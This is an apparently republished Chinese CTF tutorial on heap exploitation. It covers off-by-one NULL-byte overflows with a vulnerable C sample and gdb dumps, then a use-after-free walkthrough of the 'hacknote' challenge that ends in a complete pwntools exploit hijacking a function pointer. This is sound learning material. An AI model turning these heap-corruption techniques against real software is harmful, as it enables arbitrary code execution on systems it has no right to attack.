日期: 2024-04-23 作者: Mr-hello 介绍: 艰难的堆学习之路。
0x00 前言
前面两篇文章,记录学习了堆块溢出知识中最基础的知识内容,包括堆块基本数据结构,堆机制下的申请/释放,以及堆管理器的 bins
等,通过这些内容,我们大体了解到程序堆运行的基本逻辑,接下来就是学习相应堆溢出的溢出方式以及利用方法。
0x01 Off-By-One
根据其名字,我们可以大体知道,该溢出漏洞是指在程序向堆块中写入时,由于其字节数,超过用户数据区所申请空间一个字节,导致的溢出漏洞,也就是说通过该漏洞,我们可以实现溢出一个字节。该漏洞经常出现在以下几种代码情况下:
-
循环向堆块中写入数据,循环次数设置错误
-
字符串拷贝/拼接等操作,导致溢出
利用思路
-
溢出字节是可控字节,这种时候我们可以通过修改大小造成堆块出现重叠,从而泄露其他堆块数据或者覆盖掉其他块数据。
-
可溢出字节为
NULL
字节,在size
为0x100
字节时,溢出NULL
字节可以使prev_in_use
位被清,这样就会导致前一堆块被认为是空闲堆块。
-
利用
unlink
方法 -
前堆块被认定为空闲时, 当前堆块的
prev_size
字段就会被启用,这样就可以通过伪造prev_size
造成堆块之间重叠
注意: 在利用第二种方法中的伪造 prev_size
字段时,需要满足 unlink
机制没有检查通过 prev_size
找到的堆块 size
和 prev_size
是否一致,换句话说,需要 glibc
版本在 2.29
之前。
溢出 NULL 字节
关于溢出字节为 NULL
时,常见于字符串操作场景,其中 strlen
和 strcpy
的操作行为不同,可导致溢出 NULL
字节的情况出现,strlen
函数在计算字符串长度时,不会把 'x00'
计算在内,但是 strcpy
在复制字符串时会拷贝结束符。
int main()
{
char buffer[33]="";
void *chunk;
chunk=malloc(28);
gets(buffer);
if(strlen(buffer)==28)//计算字符串长度时,不带最后结束符。
{
strcpy(chunk,buffer);//拷贝字符串时带着结束符。
}
return 0;
}
gdb
调试一下,可以发现如下情况。
//strcpy前的堆块分布
heap
Allocated chunk | PREV_INUSE
Addr: 0x56558008
Size: 0x151
Allocated chunk | PREV_INUSE
Addr: 0x56558158
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x56558178
Size: 0x411
x/100x 0x56558158
0x56558158: 0x00000000 0x00000021 0x00000000 0x00000000
0x56558168: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558178: 0x00000000 0x00000411 0x20746547 0x75706e49
0x56558188: 0x00000a74 0x00000000 0x00000000 0x00000000
0x56558198: 0x00000000 0x00000000 0x00000000 0x00000000
//strcpy后的堆块分布
heap
Allocated chunk | PREV_INUSE
Addr: 0x56558008
Size: 0x151
Allocated chunk | PREV_INUSE
Addr: 0x56558158
Size: 0x21
Allocated chunk
Addr: 0x56558178
Size: 0x400
x/100x 0x56558158
0x56558158: 0x00000000 0x00000021 0x61616161 0x61616161
0x56558168: 0x61616161 0x61616161 0x61616161 0x61616161
0x56558178: 0x61616161 0x00000400 0x20746547 0x75706e49
0x56558188: 0x00000a74 0x00000000 0x00000000 0x00000000
0x56558198: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到,在 strcpy
之后,相邻的下一个堆块的 size
被覆写了一个 x00
,也就是字符串的结束符成功溢出,完成了覆写。
0x02 Use After Free
释放后再利用,这个漏洞点还是相对比较简单的,在一个程序中,堆块释放时可能会出现指针未进行赋 NULL
的情况,在该种情况下,再去利用该 chunk
时,可能会出现系统崩溃,也可能正常执行下去,或者出现其他一些情况,在堆溢出知识域,我们会利用后面两种情况。
题目实验
由于该处知识点,理解起来没那么费劲,我们根据最简单的 Use After Free
题目进行实例讲解学习。该题目就是实现了一个简单的 note
功能,存在创建/删除/输出功能。其中在 add_note
函数中,存在如下关键代码。
在 add_note
函数下,我们可以看到该结构体存在两部分内容,第一部分 put
该部分会在创建时,指向一个函数,第二部分 content
指针,指向了一个新申请堆块用于存储用户输入数据,每次申请后,会将 count
加一,然后我们分析一下 free
部分。
在 free
部分,我们可以看到,每次删除操作时,会涉及到两个堆块的释放,有一个 notelist
的堆块释放,还有一个 content
的堆块释放操作。但是这里存在一个未置空的问题,可以从代码看出,该处的 notelist
是以数组形式存储的,每个下标处存放的数据都是指向一个堆块的起始地址,通过 free
操作可以将该地址下存在的堆块结构体置空,但堆块释放操作并不会影响数组数据的更改,所以该处的两个 free
操作仅仅是删除掉了堆块结构体,但该处下标存储的堆块起始地址没有发生更改,也就是说,通过上面两个删除操作后,该处数组仍然指向了一个地址,只不过这个地址目前是一个空闲堆块。
那么我们可以根据这个逻辑,运用 Use After Free
思路,也就是说,我们先把下标为 0
的堆块申请下来,然后再释放掉,此时下标为 0
的指针指向了一个空闲堆块,如果我们可以利用堆管理机制,在下次申请堆块时,再次让系统把这个空闲堆块分配给某个 note
的 content
堆块,这样我们就可以实现向新 note
中写入想要的数据,然后利用程序设计的输出操作,输出 note0
内容,此时由于 notelist
下标为 0
处未进行置空,所以程序就会按照输出操作,去调用 put
指针指向的函数,但是由于原本空闲的堆块已经被我们利用堆管理机制重新输入了内容,所以在 note0
调用 put
指针时,成功的指向了我们输入的内容。
但是这里有个问题,由于该题目设计为申请创建一个note
时,会先申请一个 8
字节的 notelist
作为 note
结构体存储,也就是说,如果我们只申请创建一个 note
,那么下次再分配时,还是会把 8
字节的堆块分配给 notelist
并不会分配给我们新申请的 note-> content
,所以这里我们可以连续申请两个 note
然后他们的 content
堆块设置为大于 8
字节的空间,这样根据 bins
存储规则,我们就可以实现分下标存储。然后我们再次申请一个 8
字节的 note
就可以实现将新申请的 note-> content
就变为指向之前的空闲堆块了。
连续申请两个16
字节 note
之后,堆块数据存储如下。
此时再分别删除两个 note
之后,堆空间数据如下。
此时可以看到,我们申请两个 16
字节的 note
之后再删除,这样会有四个空闲堆块进入 tcachebins
,但是他们已经分开存储,根据 tcachebins
空闲堆块再分配机制,我们如果再申请一个 8
字节的 note
,此时系统会将存在 tcachebins
中的空闲堆块再次分配给我们申请的 note2
。由于新申请的 note2
空间为 8
字节,分配两个 0x10
的堆块即可完成存储。所以此时系统会将 tcachebins
中的两个 0x10
空闲堆块分配给 note2
,再由于 tcachebins
管理空闲堆块时采用 LIFO
策略,所以 0x804b190
地址上的空闲堆块,被 note2
的 notelist
分配走了,剩余的 0x804b160
地址上的空闲堆块,被 note2
的 content
分配走了。
由于 notelist
数组在删除操作时未置空,此时 notelist[0]
仍然在指向 0x804b160
。但是该地址上已经被新的 note
重新赋值,此时如果我们在 note2->content
写入一个危险地址,再执行 note0
的输出操作,此时就实现了跳转到了一个危险地址处,从而控制了程序运行。
上图可以看出,在 note2->content
中输入 aabbccdd
,此时再去执行输出 note0
,可发现如下。
成功调用 0x62626161
地址处的函数。同时可发现程序中存在一个 magic
函数,我们将 note2->content
内容设置为 magic
函数地址,即可 cat flag
,最终利用代码如下。
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
magic = 0x08048986
addnote(16, "1234")
addnote(16, "1234")
delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
r.interactive()
0x03 结束语
本来写着 Off-By-One
但是后面在实战操作的时候,发现自己对泄露 libc
基址问题还是搞不太明白,后面可能会再返过去,学习一下栈溢出~在学习中查漏补缺。
往期回顾
点此亲启
原文始发于微信公众号(宸极实验室):『CTF』堆入门(三)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论